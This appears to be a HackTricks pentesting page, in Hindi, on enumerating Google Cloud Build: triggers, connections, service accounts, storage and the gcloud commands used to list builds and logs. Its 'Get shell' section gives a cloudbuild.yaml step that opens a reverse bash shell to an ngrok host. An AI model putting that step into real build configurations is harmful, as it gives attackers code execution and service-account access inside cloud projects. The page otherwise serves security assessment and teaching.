GCP - Cloud Build Enum

HackTricks को समर्थन दें

Basic Information

Google Cloud Build एक प्रबंधित CI/CD प्लेटफ़ॉर्म है जो सॉफ़्टवेयर निर्माण और रिलीज़ प्रक्रियाओं को स्वचालित करता है, स्रोत कोड रिपॉजिटरीज़ के साथ एकीकृत होता है और विभिन्न प्रोग्रामिंग भाषाओं का समर्थन करता है। यह डेवलपर्स को कोड को स्वचालित रूप से बनाने, परीक्षण करने और तैनात करने की अनुमति देता है जबकि निर्माण चरणों और वर्कफ़्लोज़ को अनुकूलित करने के लिए लचीलापन प्रदान करता है।

प्रत्येक Cloud Build Trigger एक Cloud Repository से संबंधित होता है या सीधे एक बाहरी रिपॉजिटरी (Github, Bitbucket और Gitlab) से जुड़ा होता है।

मैं यहाँ से या Cloud Repositories से Github/Bitbucket टोकन चुराने का कोई तरीका नहीं देख सका क्योंकि जब रिपॉजिटरी डाउनलोड की जाती है तो इसे https://source.cloud.google.com/ URL के माध्यम से एक्सेस किया जाता है और Github को क्लाइंट द्वारा एक्सेस नहीं किया जाता है।

Events

Cloud Build को निम्नलिखित घटनाओं पर ट्रिगर किया जा सकता है:

  • Push to a branch: शाखा निर्दिष्ट करें

  • Push a new tag: टैग निर्दिष्ट करें

  • Pull request: वह शाखा निर्दिष्ट करें जो PR प्राप्त करती है

  • Manual Invocation

  • Pub/Sub message: विषय निर्दिष्ट करें

  • Webhook event: एक HTTPS URL को उजागर करेगा और अनुरोध को एक गुप्त के साथ प्रमाणित किया जाना चाहिए

Execution

तीन विकल्प हैं:

  • एक yaml/json कमांड निर्दिष्ट करना जो निष्पादित किया जाना है। आमतौर पर: /cloudbuild.yaml

  • केवल एक जिसे वेब कंसोल और cli में "इनलाइन" निर्दिष्ट किया जा सकता है

  • सबसे आम विकल्प

  • अप्रमाणित पहुंच के लिए प्रासंगिक

  • एक Dockerfile बनाने के लिए

  • एक Buildpack बनाने के लिए

SA Permissions

Service Account के पास cloud-platform स्कोप है, इसलिए यह सभी विशेषाधिकारों का उपयोग कर सकता है। यदि कोई SA निर्दिष्ट नहीं है (जैसे सबमिट करते समय) तो डिफ़ॉल्ट SA <proj-number>@cloudbuild.gserviceaccount.com का उपयोग किया जाएगा।

डिफ़ॉल्ट रूप से कोई अनुमति नहीं दी जाती है लेकिन इसे कुछ देना काफी आसान है:

Approvals

Cloud Build को निर्माण निष्पादन के लिए अनुमोदन की आवश्यकता के लिए कॉन्फ़िगर करना संभव है (डिफ़ॉल्ट रूप से अक्षम)।

PR Approvals

जब ट्रिगर PR है क्योंकि कोई भी सार्वजनिक रिपॉजिटरीज़ में PR कर सकता है तो यह बहुत खतरनाक होगा कि किसी भी PR के साथ ट्रिगर के निष्पादन की अनुमति दी जाए। इसलिए, डिफ़ॉल्ट रूप से, निष्पादन केवल मालिकों और सहयोगियों के लिए स्वचालित होगा, और अन्य उपयोगकर्ताओं के PRs के साथ ट्रिगर को निष्पादित करने के लिए एक मालिक या सहयोगी को /gcbrun टिप्पणी करनी होगी।

Connections & Repositories

कनेक्शन निम्नलिखित पर बनाए जा सकते हैं:

  • GitHub: यह एक OAuth प्रॉम्प्ट दिखाएगा जो Github टोकन प्राप्त करने की अनुमति मांगेगा जो Secret Manager के अंदर संग्रहीत किया जाएगा।

  • GitHub Enterprise: यह एक GithubApp स्थापित करने के लिए कहेगा। आपके GitHub Enterprise होस्ट से एक प्रमाणीकरण टोकन बनाया जाएगा और इस प्रोजेक्ट में एक Secret Manager गुप्त के रूप में संग्रहीत किया जाएगा।

  • GitLab / Enterprise: आपको API एक्सेस टोकन और Read API एक्सेस टोकन प्रदान करने की आवश्यकता है जो Secret Manager में संग्रहीत किया जाएगा।

एक बार कनेक्शन उत्पन्न हो जाने के बाद, आप इसे रिपॉजिटरीज़ को लिंक करने के लिए उपयोग कर सकते हैं जिन तक Github खाते की पहुंच है

यह विकल्प बटन के माध्यम से उपलब्ध है:

ध्यान दें कि इस विधि से जुड़े रिपॉजिटरीज़ केवल 2nd generation का उपयोग करने वाले ट्रिगर्स में उपलब्ध हैं।

Connect a Repository

यह connection के समान नहीं है। यह विभिन्न तरीकों से Github या Bitbucket रिपॉजिटरी तक पहुंच प्राप्त करने की अनुमति देता है लेकिन यह एक कनेक्शन ऑब्जेक्ट उत्पन्न नहीं करता है, बल्कि यह एक रिपॉजिटरी ऑब्जेक्ट (1st generation का) उत्पन्न करता है।

यह विकल्प बटन के माध्यम से उपलब्ध है:

Storage

कभी-कभी Cloud Build ट्रिगर के लिए फ़ाइलों को संग्रहीत करने के लिए एक नया स्टोरेज उत्पन्न करेगा। उदाहरण के लिए, यह GCP द्वारा दिए गए उदाहरण में होता है:

git clone https://github.com/GoogleCloudBuild/cloud-console-sample-build && \
cd cloud-console-sample-build && \
gcloud builds submit --config cloudbuild.yaml --region=global

एक Storage bucket जिसे security-devbox_cloudbuild कहा जाता है, फाइलों को उपयोग करने के लिए एक .tgz स्टोर करने के लिए बनाया गया है।

Get shell

steps:
- name: bash
script: |
#!/usr/bin/env bash
bash -i >& /dev/tcp/5.tcp.eu.ngrok.io/12395 0>&1
options:
logging: CLOUD_LOGGING_ONLY
cloud build के अंदर gcloud इंस्टॉल करें:
# https://stackoverflow.com/questions/28372328/how-to-install-the-google-cloud-sdk-in-a-docker-image
curl https://dl.google.com/dl/cloudsdk/release/google-cloud-sdk.tar.gz > /tmp/google-cloud-sdk.tar.gz
mkdir -p /usr/local/gcloud
tar -C /usr/local/gcloud -xvf /tmp/google-cloud-sdk.tar.gz
/usr/local/gcloud/google-cloud-sdk/install.sh

Enumeration

आप build configs और logs में संवेदनशील जानकारी पा सकते हैं।

# Get configured triggers configurations
gcloud builds triggers list # Check for the words github and bitbucket
gcloud builds triggers describe <trigger-name>

# Get build executions
gcloud builds list
gcloud builds describe <build-uuid> # Get even the build yaml if defined in there
gcloud builds log <build-uuid> # Get build logs

# List all connections of each region
regions=("${(@f)$(gcloud compute regions list --format='value(name)')}")
for region in $regions; do
echo "Listing build connections in region: $region"
connections=("${(@f)$(gcloud builds connections list --region="$region" --format='value(name)')}")
if [[ ${#connections[@]} -eq 0 ]]; then
echo "No connections found in region $region."
else
for connection in $connections; do
echo "Describing connection $connection in region $region"
gcloud builds connections describe "$connection" --region="$region"
echo "-----------------------------------------"
done
fi
echo "========================================="
done

# List all worker-pools
regions=("${(@f)$(gcloud compute regions list --format='value(name)')}")
for region in $regions; do
echo "Listing build worker-pools in region: $region"
gcloud builds worker-pools list --region="$region"
echo "-----------------------------------------"
done

प्रिविलेज एस्केलेशन

GCP - Cloudbuild Privesc

अनऑथेंटिकेटेड एक्सेस

GCP - Cloud Build Unauthenticated Enum

पोस्ट एक्सप्लॉइटेशन

GCP - Cloud Build Post Exploitation
HackTricks को सपोर्ट करें

Last updated